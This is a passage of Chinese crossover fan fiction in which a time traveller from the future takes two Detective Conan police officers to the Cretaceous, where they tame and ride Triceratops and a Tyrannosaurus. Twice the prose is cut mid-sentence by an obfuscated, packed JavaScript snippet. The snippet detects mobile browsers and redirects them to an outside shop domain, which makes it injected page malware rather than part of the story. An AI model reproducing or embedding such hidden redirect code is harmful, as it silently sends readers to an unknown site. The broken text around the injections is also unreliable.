最近处,一群庞然大物正在林地边缘缓缓移动,它们体型庞大得令人难以置信,光是头部就有一辆小汽车那么大,最引人注目的是它们头上那三根狰狞的角——两根长在眼睛上方,一根短一些长在鼻端,还有那巨大的骨质颈盾,像一面坚不可摧的盾牌保护着颈部,它们正慢条斯理地啃食着低矮的蕨类植物。 而在更远处,一条蜿蜒的河流在阳光下闪着粼粼波光,河边聚集着另一群形态奇特的恐龙,它们有着鸭嘴状的喙部,长长的尾巴,后肢粗壮,前肢相对较短,有些正低头饮水,有些则警惕地抬起头,环顾四周。 平原上不止这些大型恐龙,灌木丛里,一群体型不大,身上覆盖着羽毛或鳞片的小型恐龙惊慌地窜过,留下窸窸窣窣的声响,整个平原上充满了生机——恐龙时代最原始、最蓬勃的生命力,远古蛮荒的气息扑面而来。 “天啊……”我喃喃道,点开手腕上的光脑对准它们,光脑的机械音很快响起。 【扫描目标:角龙科,三角龙属,生存年代:白垩纪晚期,体长:7-9米,体重:6-12吨。食性:草食性。特征:头部长有三根角及骨质头盾……】 【扫描目标:鸭嘴龙科,埃德蒙顿龙属,生存年代:白垩纪晚期,体长:9-12米,体重:4-6吨,食性:草食性,特征:鸭嘴状喙部,复杂牙齿结构适合咀嚼植物……】 “是三角龙和埃德蒙顿龙耶。”我听着光脑的介绍,兴奋的惊呼道,连忙用光脑放大画面拍摄,这比我用全息影像看的任何恐龙纪录片都要真实百万倍。 尽管出发前已经有心理预期,但真正看到这些活生生的、生存于六千八百万年前的史前生命时,那种震撼是无法用语言形容的。 萩原研二回过神来,已经迫不及待的举起了相机,表情很是激动,他不断调整焦距,快门声响个不停,记录下这史无前例的景象。 松田阵平没说话,但他紧抿的嘴唇和微微收缩的瞳孔,同样暴露了他内心的震动,他摘下了墨镜,那双凫青色的眼睛一眨不眨地盯着平原上的恐龙群,他的目光从一只正在啃食蕨叶的三角龙身上,移到远处河边饮水的埃德蒙顿龙,再到更远处一群正在奔跑的小型恐龙——那些可能是似鸟龙或者伤齿龙的近亲。 “真是……难以置信。”他低声说。 “这就是……恐龙吗,曾经统治地球一亿九千五百万年的生物。”萩原研二一边拍照一边轻声说,紫罗兰色的眼眸里倒映着史前的奇迹。 我们悬浮在空中,静静地观察了那群三角龙好一会儿,它们缓慢地移动着,偶尔发出低沉的咕噜声,几只小三角龙跟在成年个体身边,好奇地东张西望,用它们小小的角轻轻顶撞同伴玩耍。 就在这时,我突然想起什么,一个大胆的念头冒了出来。 “松田君,萩原君。”我转过头,眼睛闪闪发亮地看着他们,“你们想不想骑恐龙?” 两人一愣,同时转过头看向我,表情微妙。 “骑……恐龙?”萩原研二不确定地重复。 “对呀!”我兴奋地点头,“来都来了,不骑恐龙多可惜!” 松田阵平眉头微皱,正要开口说什么,然而我已经操控竹蜻蜓,朝着下方平原上那群三角龙飞了过去,“看我的!” “喂!”松田阵平脸色一变,立刻追了上来。 “春子小姐,等等!太危险了!”萩原研二也赶紧跟上。 10.骑恐龙 “没事没事!”我已经降落在了三角龙群的边缘,从四次元皮包里掏出了一袋东西,里面有着很多个圆滚滚的丸子,但颜色是粉红色的。 我瞄准离我最近的那只体型最大的三角龙,那只龙警惕地抬起头,用它那三根角对着我,发出一声低沉的警告声。 我看准角度用力一扔,桃太郎丸子精准地飞进了它张开的嘴里,那只三角龙愣了一下后,本能的把丸子咽了下去。 下一秒,松田阵平飞到我身边,一把抓住我的手臂,语气凶巴巴的:“你疯了吗?万一它攻击你——” 话还没说完,他就愣住了。 因为那只三角龙正用巨大的脑袋凑近我,颈盾几乎挡住了半边天空,但它没有任何攻击的意思,反而发出了一声低沉的、近乎撒娇的咕噜声,然后伸出巨大的、粗糙的舌头,试图舔我。 “哈哈哈哈别舔,好痒!”我躲闪着那条大舌头,开心地摸了摸它粗糙的皮肤。 松田阵平保持着随时准备把我拉开的姿势,眉头紧锁:“你给它吃了什么?” 萩原研二也飞了过来,目瞪口呆地看着这一幕。 “桃太郎丸子呀。”我得意地晃了晃手里剩下的丸子,“桃太郎丸子,未来道具,任何动物吃了都会立刻变得温顺听话,服从使用者。” 我拍了拍三角龙的脑袋,它立刻配合地低下头,让我能轻松摸到它的角:“摸摸看?很温顺的,它现在是我小弟了。” 松田阵平犹豫了一下,伸出手,试探性地触碰了一下三角龙的皮肤,触感粗糙而坚实,带着温热,那是活生生的体温。 “真的是……活的……”他低声说,语气里难得出现了一丝不确定。 萩原研二也凑过来,小心翼翼地摸了摸三角龙的颈盾,那双紫罗兰色的眼眸里满是新奇:“不可思议,这东西在21世纪可是只能在博物馆里看到的化石……” 三角龙任由我们抚摸,甚至还舒服地眯起了眼睛,发出低沉的咕噜声。 “春子小姐,我们是21世纪第一个见到活恐龙的人类吗?”萩原研二突然问道,语气中带着某种历史性的感慨。 “不,不是第一个哦。”我摇头。 “什么?”松田阵平和萩原研二同时看向我,表情惊愕。 我认真地说道:“在我认识的21世纪人类里,你们并不是第一个见到活恐龙的。” “还有人?”松田阵平语气里带着难以置信,“也是未来人?” “不,他跟你们生活在同一时代,同一个城市,就在日本东京,练马区。”我笑着说,“他曾经在现代养过两次恐龙宝宝,不过后来都好好送回来史前时代了。” “同一时代?日本?”萩原研二睁大眼睛,“这怎么可能……” 两人对视一眼,都从对方眼中看到了震惊,21世纪的日本东京?有人养过恐龙?还两次? “他是谁?”松田阵平忍不住追问。 我清了清嗓子,挺起胸膛,用一种庄重的语气开始念: “他是——神枪手·海盗王·太阳王·魔王斩杀者·史前文明的开拓者·恐龙文明的保护人·可亚星守护者·旺旺国拯救者·百慕大文明终结者·小小星革命家·动物星反抗军领袖·白金迷宫的解答者·宇宙战队的队长·有翼一族的庇护者·平行宇宙的创造者·植物文明与动物文明的调停者·辛巴达的挚友·云之国的建造者·日本文明中最古老的真神·硅基文明与碳基文明的调停者·大西洋与太平洋海底文明的庇护者与拯救者——” 我一口气念完,顿了顿,得意地说:“他就是我伟大的祖先,野比大雄!” 松田阵平:“……” 萩原研二:“……” 空气仿佛凝固了几秒。 “野比……大雄?”萩原研二艰难地重复这个名字,试图将这一长串光是听着就让人头晕目眩的称号,和“野比”这个姓氏,以及“祖先”这个称呼联系起来。 “你刚才说的那些……都是认真的?”松田阵平盯着我,眼神充满了怀疑,这些称号每一个单独拿出来都足以颠覆常识,组合在一起更是离谱到像是科幻小说的角色设定。 “当然是真的!”我用力点头,“大雄他超厉害的!虽然平时看起来有点呆呆的,运动神经差,考试还经常零分,但是每次遇到真正的困难,他都会勇敢地站出来,拯救了很多很多的世界和文明哦。” “春子小姐,我们……真的很想见见这位‘日本文明中最古老的真神’。”萩原研二从震惊中回过神来,忍俊不禁地说道。 “可以呀!”我开心地发出邀请,“等回去后我带你们去见他,大雄现在还是小学生呢,和哆啦A梦住在一起,你们去了肯定会喜欢他的!” 松田阵平没有反对,他只是看着我,眼神复杂,似乎在努力消化“同年代的东京有个小学生拯救了无数文明”这种离谱到极点的事实。 “好啦好啦,先不说这个了。”我从袋子里又掏出两个桃太郎丸子,递给松田阵平和萩原研二:“来,你们也挑一只喜欢的恐龙喂,然后我们就可以骑恐龙啦!” 松田阵平接过丸子,看着手里这个不起眼的小东西,又看了看不远处那些庞然大物,眼神里带着一丝微妙。 萩原研二倒是爽快,他观察了一会儿,选中了一只体型稍小但看起来很精神的三角龙,小心翼翼地靠近,在它张嘴发出警告声的时候,迅速把丸子扔进了它嘴里。 几秒后,那只三角龙的眼神也柔和下来,低下头任由萩原研二抚摸。 “真的有用……”萩原研二惊喜地笑道。 松田阵平也不再犹豫,他选中了一只体型健壮、角特别长的三角龙,干净利落地完成了喂食。 我则飞到河边,找到一只看起来特别温顺的埃德蒙顿龙,喂了它一颗桃太郎丸子,那只埃德蒙顿龙发出一声低沉的鸣叫,巨大的脑袋转向我,用那扁平的鸭嘴轻轻碰了碰我的手臂。 “好乖好乖~”我开心地摸着它光滑的皮肤,然后开心地爬上了它的脑袋。 埃德蒙顿龙的脑袋又宽又平,坐上去竟然还挺稳当,我抓住它脖子两侧的皮肤,感觉就像骑在一个会移动的小山包上。 等我骑着埃德蒙顿龙回来时,松田阵平和萩原研二已经各自爬上了他们选的三角龙。 两人都选择了坐在三角龙的角根处,那两根巨大的角根部有足够的空间可以让人稳稳坐着,两只手正好可以扶住角的两侧,就像天然的把手。 “你们俩好有默契!”我笑着说,坐在埃德蒙顿龙的脑袋上,抱着它长长的脖子。 萩原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259007|195415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 研二笑着拍了拍身下三角龙的颈盾:“骑恐龙的感觉……真是太神奇了,如果告诉班里的同事,他们肯定会以为我在做梦。” 松田阵平没说话,但那勾起的唇角出卖了他的心情。 “来比赛吧!”我突然提议道,“看谁先跑到那边——看到没有,远处那棵特别高的树!” 我指着平原另一端一棵形状奇特、向一侧倾斜的巨大古树,距离大约有一公里。 “比赛?”萩原研二挑眉。 “嗯!你们骑三角龙,我骑埃德蒙顿龙,看看谁更快!” “那就这么说定了。”松田阵平勾起唇角,那笑容里带着一丝挑衅,“输了可别哭。” “才不会呢!”我冲他哼了一声,转头看向萩原研二,“萩原君,你呢?” “我当然是参加。”萩原研二调整了一下坐姿,笑道。 “那么预备——”我高高举起手,然后猛地挥下,“开始!” 三人几乎同时向自己驯服的恐龙发出了指令,松田阵平难得露出了一丝跃跃欲试的表情,他低喝一声:“走!” 那只三角龙竟然真的听懂了他的意思,率先迈开粗壮的四肢,开始奔跑起来,松田阵平伏低身体,减少风阻,动作熟练得仿佛天生就会骑恐龙。 萩原研二也紧随其后,两只三角龙像远古的战车一样,在平原上奔腾起来,沉重的脚步声震动大地,扬起漫天尘土,他一边控制方向,一边还能抽空用相机拍了几张照片。 “哇,耍赖!”我大喊,赶紧拍了拍埃德蒙顿龙的脖子,“快追!” 埃德蒙顿龙也奔跑起来,它的速度比三角龙更快一些,长长的尾巴拖在身后,像一艘在绿色海洋中破浪前行的船只。 大地震动起来,三只史前巨兽迈开步伐,开始在平原上奔跑。三角龙的速度不快,但每一步都沉重有力,踏得地面闷响;埃德蒙顿龙则步伐更大,速度明显快上一截,三只恐龙在平原上你追我赶,惊起了远处一群小型恐龙,它们惊慌地四散奔逃,更远处饮水的埃德蒙顿龙群也抬起头,好奇地看着这奇怪的一幕。 “冲啊——!”我大笑着,感受着这前所未有的自由。 风猛烈地刮过脸颊,带着青草和泥土的气息,我紧紧抱着埃德蒙顿龙的头冠,感受着身下巨兽奔跑时传来的惊人力量和韵律,兴奋得放声大叫:“哇啊啊啊——好快!好刺激!” “加油,加油!”我拍着埃德蒙顿龙的脑袋鼓励道,“超过他们!” 埃德蒙顿龙似乎听懂了我的话,发出一声更加响亮的鸣叫,速度又提升了一截,很快就真的超过了松田阵平和萩原研二两人骑的三角龙。 松田阵平则真正放开了,他微微俯身,三角龙奔跑带来的风吹起他微卷的黑发,露出那双专注而明亮的眼睛。 那一刻,他看起来无比自由,也无比耀眼。 埃德蒙顿龙的速度比三角龙快上一大截,我第一个到达终点,随即就是松田阵平和萩原研二。 我坐在从埃德蒙顿龙脑袋上,气喘吁吁但满脸兴奋:“哇!太刺激了!” “怎么样,两位警官先生,”我得意洋洋地看着他们,“不虚此行吧?” 萩原研二真诚地笑道:“何止是不虚此行,春子小姐,这是我一生都不会忘记的冒险。” 11.危机四伏的白垩纪 21世纪,日本某处秘密基地内。 训练场的灯光惨白而刺眼,空气中弥漫着汗水与橡胶垫的气味。 降谷零活动了一下手腕,从训练垫上站起身,扫视了一圈倒在地上、气喘吁吁的陪练队员们,足足七八个人,此刻横七竖八地躺了一片。 “辛苦了。”他淡淡地说,拿起旁边的毛巾擦了擦汗。 地上的队员们欲哭无泪——辛苦什么啊辛苦,我们是被你单方面“辛苦”的好吗! 降谷零走出训练室,去淋浴间冲了个澡,换上干净的便服,他看了眼时间,上午快十一点。 难得的休息日,虽然他一直在为某个即将开始的卧底计划而进行秘密训练,但今天比想象中结束得早,他想着要不要去喝杯咖啡,或者回宿舍补个觉。 走出基地大楼,秋日的阳光温暖而不刺眼,他眯了眯眼,脑海中不知为何浮现出两个熟悉的身影。 松田阵平,萩原研二。 警校时期的好友,毕业后各自分配到不同部门,虽然同在警察系统,但爆处班和他们这种特殊部门的作息完全不同,见面的机会少之又少。 也不知道那两个家伙现在在干什么。 降谷零边走边想,嘴角不自觉地浮起一丝笑意。 以松田的性格,大概又在宿舍里研究什么机械模型,萩原则可能去参加联谊了,或者又在思考怎么给松田介绍女朋友,虽然每次都被松田用“多管闲事”四个字怼回来。 降谷零这样想着,走向附近的咖啡店。 他全然不知,在遥远的6800万年前的白垩纪,他那位“大概在研究机械模型”的好友,刚刚一拳打飞了一只伤齿龙;而他那位“可能在参加联谊”的另一位好友,正用手杖抽打着另一只恐龙的脑袋。 如果降谷零知道此刻松田阵平和萩原研二正在做什么,他大概会怀疑自己是不是训练过度出现了幻觉。 但很可惜,他不知道。 所以他只是平静地走进咖啡店,点了一杯美式,坐在窗边,看着21世纪东京平凡的街景,享受着难得的宁静午后。 而他的两位同期,正在史前时代,和恐龙进行着“亲密接触”。 ………… 6800万年前,白垩纪北美洲。 我们从恐龙身上下来,双脚重新踏回坚实的地面时,我的腿还有点发软。 不是因为害怕——好吧,可能有一点点——但更多是兴奋过度的后遗症,刚才骑着埃德蒙顿龙狂奔的感觉实在太刺激了,那种风呼啸着刮过耳边、大地在身下震颤的自由感实在是太刺激了。 “来来来,再拍几张!”我拉着松田阵平的袖子,把他往我的埃德蒙顿龙身边拽,“帮我跟它合个影!” 松田阵平没有甩开我的手,只是任由我拽着走到埃德蒙顿龙面前,那双凫青色的眼睛透过墨镜看了我一眼:“你刚才不是拍了很多?” “那不一样。”我理直气壮地说,“刚才是我骑在它身上拍的,现在是咱们三个和恐龙们的合影,快点快点,萩原君也过来!” 萩原研二笑着走过来,他的三角龙也乖乖地跟在身后,紫罗兰色的眼眸里盛满了愉悦:“春子小姐说得对,这么珍贵的时刻,确实应该多留些纪念。” 我把光脑调成自动拍摄模式,让它悬浮在半空中调整角度,然后拉着两人站到三只恐龙中间——我的埃德蒙顿龙在左边,松田阵平的三角龙在右边,萩原研二的三角龙稍微靠后一点。 “靠近一点,再近一点——”我指挥着,然后把松田阵平往中间拽了拽,“松田君你站那么远干嘛,拍照要亲密一点才好看!” 松田阵平啧了一声,但还是配合地往我这边挪了半步。 光脑的闪光灯亮起,定格下这一刻,然后开始播放全息影像照片。 画面里,我笑得眉眼弯弯,一手搂着埃德蒙顿龙的长脖子,一手比着V字;萩原研二站在我另一侧,笑容温和而灿烂,紫眸里倒映着史前的阳光;松田阵平站在最边上,虽然还是那副酷酷的表情,但勾起的嘴角出卖了他的好心情,三只巨大的恐龙安静地环绕着我们,仿佛最温顺的宠物。 “完美!”我满意地把照片保存下来,“这张回去要洗出来,挂在我房间的墙上。” 拍完照,我们又轮流和对方的恐龙合影,萩原研二爬上了我的埃德蒙顿龙,我坐上了松田阵平的三角龙,松田阵平则被萩原研二拉着和那只三角龙拍了好几张“冷酷警察与史前巨兽”的写真。 “带回去给爆处班的同事们看,就说是在电影片场拍的。”萩原研二笑着收起相机,眨了眨眼,“毕竟,亲眼见到活恐龙这种事,说出来确实太像做梦了。” 松田阵平没说话,只是伸手摸了摸身旁三角龙粗糙的皮肤,那触感真实得无法辩驳。 等我们终于拍够了,时间已经接近正午,阳光从头顶倾泻下来,照得整个平原一片金黄,连远处河面的粼粼波光都带着暖意。 “饿了吗?”我看了看时间,转头问他们提议道,“我们回埃德蒙顿龙群那边吃饭吧?” 两人没有异议,我们谢过三只辛苦了一下午的恐龙,放任它们回到族群中继续吃草,自己则戴上竹蜻蜓,飞回了埃德蒙顿龙群附近的一处开阔地。 降落在一片相对平坦的草地上,不远处,埃德蒙顿龙群正在悠闲地啃食蕨类植物,偶尔发出低沉的鸣叫声,几只幼崽在成年个体的腿间嬉戏打闹,空气中弥漫着青草和湿润泥土的气息。 旁边就是一片茂密的原始森林,参天巨木的树冠在风中轻轻摇晃,发出沙沙的声响。 我找了块平整的石头坐下,松田阵平和萩原研二也在旁边随意地坐下,两人看向我的眼神都带着明显的期待。 我从四次元皮包里掏了掏,在两人灼热的目光中,拿出了两个用透明膜包裹得整整齐齐的三角形物体——金枪鱼蛋黄酱饭团,递给了他们。 松田阵平接过,翻来覆去地看了好一会儿,甚至还拿到鼻子前闻了闻,那双凫青色的眼睛里写满了探究欲,似乎在试图寻找未来世界高科技的影子。 我看他那副表情,忍不住笑出声:“别看啦,这就是普通的饭团,我自己做的。” “自己做的?”松田阵平挑了挑眉,语气里带着一丝意外。 “对啊。”我点点头,从包里又掏出一个属于自己的饭团,撕开保鲜膜咬了一口,“早上出发前做的,金枪鱼蛋黄酱馅,我的拿手口味。” 萩原研二也撕开保鲜膜,咬了一口,紫罗兰色的眼眸微微睁大:“嗯,味道很不错呢,春子小姐手艺真好。” “那当然~”我得意地晃了晃脑袋,“我可是从小帮妈妈做饭的,家务全能选手!” 松田阵平没再说话,也咬了一口,咀嚼了几下后,动作微微顿住,他似乎没想到这个看起来普普通通的饭团,味道竟然真的不错,米粒的软硬适中,金枪鱼和蛋黄酱的比例恰到好处,调味也刚刚好。 他看了我一眼,没说什么,但三两口就把一个饭团解决了。 “晚上我们再吃大餐。”我一边吃一边说,“中午先将就一下,等回去后我请你们吃22世纪的高级料理!” “那我们就期待着了。”萩原研二笑道。 事实上,我没告诉他们的是,因为购买时光机和时间暂停器,我这个月的零花钱已经快见底了,为了省钱,出发前我还特意做了这些饭团带过来,想到这里,我又想起那个被伤齿龙一脚踩扁的时间暂停器,心里一阵抽痛,那可是我攒了好久的零花钱买的清仓特惠品啊! 松田阵平吃完第一个,抬头看向我:“还有吗?” 我眨眨眼,又掏出一个递给他:“喏,慢点吃,别噎着。” 他接过,刚咬了两口,突然停了下来。 他的眉头微微皱起,那双凫青色的眼睛不再看我,而是锐利地扫向不远处的森林边缘。 我心里咯噔一下:“怎么了?” 松田阵平没回答,而是和萩原研二迅速对视了一眼。 萩原研二脸上的轻松笑意也收敛了几分,他放下手中的饭团,微微眯起那双紫罗兰色的眼眸,侧耳倾听片刻后,低声问道:“感觉到了吗?” “嗯。”松田阵平缓缓站起身,声音压得很低,“有点不太对劲。” “什么不对劲?”我被他们弄得毛毛的,下意识往松田阵平身边靠了靠,“你们别吓我啊……” “先别吃了。”松田阵平迅速从口袋里掏出竹蜻蜓,“戴上,飞起来再说。” 萩原研二也迅速戴上竹蜻蜓,同时伸手示意我动作快点。 我赶紧去摸四次元皮包,而就在这时,不远处的森林边缘,高大的树木开始剧烈摇晃,枝叶断裂的声音噼啪作响,仿佛有什么庞然大物正蛮横地挤出来。 一个巨大狰狞的身影,缓缓踏出了阴影。 那是一只我从未在安全的全息影像中感受过其压迫感的巨兽,硕大无比的头颅上,满嘴匕首般的利齿在阳光下反射着惨白的光,粗壮的后肢肌肉虬结,充满爆炸性的力量,而与巨大的体型对比是对极为短小的前肢,一条粗长的尾巴在身后缓缓摆动。 暗棕色皮肤上深色的斑纹像是死亡的图腾,它那黄澄澄的竖瞳冰冷地扫视平原,目光最终,似乎落在了我们这边。 “霸、霸王龙?!”我听见自己倒吸凉气的声音,牙齿都在打颤。 松田阵平脸色骤变,厉声吼道:“快跑——!” 他和萩原研二已经启动了竹蜻蜓,身体开始上升,但我还没来得及把竹蜻蜓戴到头上,那个庞然大物已经朝我们这边冲了过来。 它的速度远远超出了我的想象。 以它那么庞大的身躯,我以为它会笨重缓慢,但它冲刺起来简直像一辆失控的重型卡车,每一步都踏得大地震颤,扬起漫天尘土。 “春子小姐!” 萩原研二脸色大变,俯冲下来想拉我。 松田阵平的反应更快,他几乎是瞬间就冲到了我身边,一把抓住我的手臂,千钧一发之际,松田阵平和萩原研二同时发力,两人一人抓住我一只手臂,猛地向上一提,竹蜻蜓的叶片高速旋转,带着我们急速上升。 霸王龙的血盆大口就在我脚底下不到一米的地方猛地咬合,发出一声令人牙酸的脆响。 我能清晰地看到那些锯齿状的牙齿,闻到它嘴里散发出的腥臭气息,那是一种混合着腐肉和鲜血的、让人作呕的恶臭。 我们三人险险地飞到了十几米高的空中,霸王龙不甘心地追着我们跑了几步,跳起来试图咬我们,但它终究不会飞,只能在下面愤怒地咆哮。 “呼……呼……”我大口喘着气,心脏狂跳得快要从嗓子眼里蹦出来。 松田阵平还紧紧抓着我的手臂,他的呼吸也有些急促,额前的卷发被汗水浸湿,贴在额头上,萩原研二悬浮在我们旁边,同样惊魂未定,但他还是关切地看着我:“春子小姐,没事吧?” 那只霸王龙仰头看着我们,那双黄褐色的眼睛死死盯着会飞的“小恐龙”,喉咙里发出低沉的威胁声,它似乎很不理解,为什么这几只看起来很小、闻起来很香的猎物,居然能飞起来。 它原本是想伏击这几只陌生的“小恐龙”的,尤其是那只看起来最弱小、闻起来格外香、散发着一种很特殊香味的小恐龙更是让它垂涎欲滴。 但发现这群猎物会飞之后,霸王龙迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280970|195415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速改变了目标,它转过身,冲着不远处那群惊慌失措的埃德蒙顿龙群冲了过去。 “吼——!!!” 埃德蒙顿龙群瞬间炸开了锅,成年恐龙拼命逃窜,沉重的脚步声震得大地颤抖,但有一只体型较小的幼崽反应慢了半拍。 霸王龙的速度快如闪电,它一口咬住那只幼崽的后腿,巨大的咬合力瞬间碾碎了骨头,幼崽发出一声凄厉的惨叫,挣扎了几下便不再动弹。 霸王龙叼着猎物,拖到一旁,开始撕咬进食,鲜血飞溅,内脏横流,那只幼崽在短短几分钟内就被撕成了碎片,露出森森白骨,周围的地面被鲜血染红,空气中弥漫着浓重的血腥味。 悬浮在半空中的我们三人,看着这原始而残酷的杀戮场面,脸色都不太好看,我胃里一阵翻涌,刚才吃的饭团差点吐出来。 松田阵平和萩原研二显然对这种场面并不陌生,作为警察,他们见过不少血腥的犯罪现场,但眼前这个是6800万年前的捕猎现场,原始又赤裸的弱肉强食的自然法则。 萩原研二眼眸里倒映着那血腥的画面,但他很快调整好状态,举起相机,按下快门。 “这可是6800万年前霸王龙捕食的珍贵影像。”他轻声说,声音里带着一丝复杂的感慨,“虽然……场面有些血腥。” 我也缓过劲来,打开光脑,开始拍摄记录。 “白垩纪晚期,北美洲西部地区,观察到霸王龙捕食鸭嘴龙类幼崽的全过程……”我的声音还有些发抖,“霸王龙,体型巨大,咬合力惊人,捕食方式为伏击后致命撕咬……” 大约半小时后,那只幼崽已经被吃得只剩残破的骨架,散落在草地上,霸王龙舔了舔嘴角的血迹,抬起头,又看向了半空中的我们,它还在惦记着那几只“会飞的小恐龙”,尤其是那只闻起来特别香的。 就在这时,一个大胆的念头突然从我脑海里冒了出来,我看了看手中的桃太郎丸子布袋,又看了看下方那只凶残的霸王龙,然后我操控竹蜻蜓,朝着霸王龙的方向飞了下去。 “喂!”松田阵平脸色大变,立刻追了上来,“你干什么?!” “春子小姐!”萩原研二也赶紧跟上,声音里满是焦急。 霸王龙看到那只会飞的小恐龙居然朝自己飞过来,顿时抬起头,张开血盆大口,冲着我们发出一声威胁的咆哮。 “吼——!!!” 那吼声近在咫尺,腥风扑面,我差点被熏晕过去,但还是咬着牙,掏出一颗桃太郎丸子,对准那张巨口,用力扔了进去。 桃太郎丸子自带强大的诱食效果,霸王龙本能地合上嘴巴,把那颗小小的丸子咽了下去。 一瞬间,它那双黄褐色的眼睛里的凶光消失了,取而代之的,是一种茫然和温顺,它歪了歪巨大的脑袋,喉咙里发出一声低沉的近乎撒娇的咕噜声。 “成功了!”我开心地喊到。 松田阵平和萩原研二飞到我的身边,看着下方这只刚才还在大快朵颐的顶级掠食者,此刻却像一只巨大的宠物狗一样撒娇,两人的表情都有些复杂。 “你……”松田阵平盯着我,嘴角抽了抽,“你到底在想什么?” “我想收它当保镖啊!”我理直气壮地说,然后落在霸王龙的头顶,拍了拍它粗糙的皮肤,“你们想啊,白垩纪这么危险,到处是食肉恐龙,我们又不能一直飞着,把它带在身边的话,其他恐龙就不敢靠近我们了,多安全。” 萩原研二忍不住笑出声:“所以春子小姐是想,以暴制暴?” “对呀!”我点头,“而且等我们回去前再放它走就行了,不影响历史的。” 松田阵平沉默了两秒,然后也落在了霸王龙的头顶,他蹲下身,伸手摸了摸这颗巨大的头颅,触感粗糙而温热,又试探性地碰了碰它脑袋上那些突起的角质结构,霸王龙只是舒服地眯起眼睛,发出咕噜咕噜的声音,完全没有反抗的意思,他凫青色的眼睛里闪烁着复杂的光芒。 “霸王龙……”他低声说,“白垩纪霸主,地球历史上最强大的掠食者。” 萩原研二也落了下来,举起相机,对着霸王龙的眼睛、牙齿、皮肤细节一阵猛拍,笑着说:“如果让那些拍《侏罗纪公园》的导演知道,我们不仅见到了活霸王龙,还骑在它头顶,不知道会是什么表情。” 松田阵平站起身,环顾四周,从这个高度看出去的风景,确实完全不同,他嘴角微微弯起,难得露出了一丝真心的笑容。 我站在两人中间,看着脚下这只温顺的庞然大物,成就感爆棚。 “好啦,既然现在有保镖了,我们去哪?”我拍了拍霸王龙的脑袋,像船长下令一样,“你想带我们去哪里逛逛吗,大家伙?” 霸王龙发出一声低沉的吼叫,迈开巨大的后腿,开始在平原上行走起来,所到之处,每一步都稳稳当当,巨大的脚掌落在地面上,发出沉闷的“咚、咚”声,周围的蕨类植物在它身侧晃动,几只小蜥蜴惊慌地窜开。 “这感觉……太奇妙了。”萩原研二感叹,紫眸里倒映着远古的天空,“坐在霸王龙头顶上,看白垩纪的风景……我回去之后,大概会觉得日常生活都索然无味了。” 松田阵平没说话,但我注意到他一直环顾四周,眼神专注而锐利,不是紧张,而是一种纯粹的面对未知世界的好奇与兴奋,风吹起他微卷的黑发,露出俊美的侧脸。 “喂,卷毛。”我用手肘捅了捅他,“想什么呢?” 他收回目光,看了我一眼,勾起了唇角,难得的没有嘲讽我:“在想,这趟来得值。” 闻言,我马上得意地笑了:“那当然,我可是很够意思的,这种VIP待遇,一般人可享受不到。” 12.恐龙人的故事 霸王龙载着我们三人在平原上慢悠悠地走着,每一步都踏得地面微微震颤。站在它头顶的感觉很奇妙,像是站在一座移动的小山丘上,视野开阔得不可思议。 走了没多久,前方突然扬起一阵尘土,一群恐龙从我们侧前方疾速跑过。 它们体型中等,有着细长的颈部和喙状的嘴,后肢修长有力,前肢如同鸟类的翅膀一般,最引人注目的是它们身上覆盖着一层厚厚的羽毛,跑起来的姿态轻盈而迅捷,乍一看竟然有点像现代的鸵鸟。 “是似鸟龙!”我一眼就认出来了,兴奋地指着那群奔跑的恐龙,转头对松田阵平和萩原研二说,“似鸟龙耶!我在课堂上看过它们的全息影像!” 萩原研二已经举起了相机,快门声咔嚓咔嚓响个不停,紫罗兰色的眼眸里盛满了惊奇:“真的和现代的鸵鸟好像……以前只在博物馆看过化石复原模型,没想到活着的似鸟龙是这个样子。” “趋同进化。”松田阵平淡淡地开口,那双凫青色的眼睛也在观察那群远去的似鸟龙,“相似的环境压力,会催生相似的形态特征。” 那群似鸟龙在看到霸王龙的瞬间,跑得更快了,一溜烟就消失在远处的灌木丛后。 天空中传来一阵尖锐的鸣叫,我们抬头看去,几只翼展足有好几米的翼龙正在我们头顶盘旋,它们的身影在阳光下投下巨大的阴影,盘旋了几圈,似乎在判断这几只站在霸王龙头顶的“小恐龙”到底是什么来路,盘旋了几圈后很快它们就果断放弃了靠近的念头,拍打着翅膀飞远了。 “聪明的选择。”萩原研二抬头看着远去的翼龙,笑着说,“毕竟我们脚下这位可是白垩纪的霸主。” 霸王龙继续往前走,我们路过了一片相对开阔的区域,那里聚集着一群体型巨大的恐龙。它们比三角龙还要大上一圈,最显眼的是它们头上长着一对向前弯曲的巨大犄角,颈盾边缘呈波浪状,看起来威武又华丽。 “牛角龙。”松田阵平这次主动开口了,“和三角龙近亲,但体型更大,角更长。” 那群牛角龙察觉到霸王龙的靠近,整个族群顿时躁动不安起来,成年个体纷纷将幼崽护在身后,巨大的头颅低垂,锋利的角尖对准我们这个方向,喉咙里发出威胁的低吼,显然进入了高度警戒状态。 不过,在发现远处的霸王龙似乎并没有流露出捕食意图,只是慢悠悠地从它们领地边缘经过,牛角龙群在紧张地对峙了一会儿后,并没有选择贸然发动攻击或溃逃,只是始终保持着高度的警惕,目送我们离开。 “真是威风凛凛的防御姿态。”萩原研二拍下了这充满张力的一幕,“要是真打起来,霸王龙想拿下成年的牛角龙,恐怕也得付出不小的代价。” 之后,我们进入了另一片区域,这里生活着另一类奇特的恐龙,它们拥有异常厚实、圆顶状的头骨,看起来像顶着一个结实的头盔,此刻,几只雄性正用它们那厚实的颅顶互相撞击。 